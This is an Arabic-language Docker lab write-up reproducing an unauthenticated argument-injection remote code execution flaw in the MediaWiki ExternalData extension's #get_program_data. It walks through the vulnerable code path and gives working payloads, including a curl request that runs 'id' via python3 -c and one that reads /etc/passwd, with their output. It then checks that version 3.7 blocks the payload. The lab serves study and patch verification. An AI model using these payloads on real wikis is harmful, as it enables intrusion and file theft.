
مختبر Docker يعيد إنتاج CVE-2026-100382: تنفيذ تعليمات برمجية عن بُعد عبر حقن الوسائط دون مصادقة في #get_program_data الخاص بـ MediaWiki ExternalData، مع حمولات PoC والتحقق من التصحيح.
1.43 (الصورة الرسمية، SQLite) + ExternalData 3.6.1 (آخر إصدار قابل للاستغلال)،
مُثبَّت للقراءة فقط من ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (الافتراضي 8080).action=parse مُفعَّلان (إعدادات MediaWiki الافتراضية) - لا يحتاج إثبات المفهوم إلى تسجيل دخول.cd lab
./up.sh # installs, loads ExternalData 3.6.1, seeds vulnerable sources, prints URL
./down.sh # docker compose down -v + wipe .env
يقوم entrypoint.sh بتهيئة مصدر تنفيذ يحاكي الغرض الموثَّق لـ
#get_program_data - كشف برنامج من جانب الخادم للمحررين، مع تمرير معامل
من المستخدم إلى سطر الأوامر - بدون إدخال param filters تقييدي
(الإضافة لا تشترط وجوده):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // user param interpolated
'params' => [ 'options' ],
'format' => 'text',
];
الاستخدام المقصود: {{#get_program_data: program=chart | options=--dpi=120 }}
-> ينفّذ python3 --dpi=120 /srv/chart.py.
EDConnectorBase::supplementParams() بإدراج معاملات المستخدم في قالب
command على مستوى الويكي عبر strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() بتنفيذ explode(' ', $command)
(EDConnectorExe.php:92) - حيث تُقسَّم قيمة المستخدم المُدرَجة على المسافات إلى
رموز argv منفصلة دون إعادة اقتباس.run() الأمر Shell::command($command)->execute() (EDConnectorExe.php:139).
يقوم Shell::command() بتهريب كل رمز من رموز الصدفة، لذا فإن محارف الصدفة الوصفية (;، |)
غير فعّالة - هذا حقن معاملات (CWE-88 / CWE-78)، وليس حقن صدفة
ساذج. التحكم في argv إضافية للبرنامج الهدف (هنا python3 -c)
يؤدي إلى تنفيذ كود كامل.command مباشرةً - فالمصدر المدمج ذو
البدل * يفرض command => null، مما يزيل أي command يوفره المستخدم. لذا فإن
ناقل الهجوم هو إدراج المعاملات في أمر يُعرّفه المسؤول.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
عند تبديل الإضافة المُثبَّتة إلى الوسم 3.7 وإعادة تشغيل نفس الحمولة:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
يقوم الإصدار 3.7 بتعطيل EDConnectorExe افتراضيًا ($wgExternalDataDisabledClasses، Bug T434961).
تحذير: كود المصدر لم يتغير - فالويكي الذي يزيل EDConnectorExe من تلك القائمة
لمواصلة استخدام #get_program_data يظل قابلًا للاستغلال بالكامل.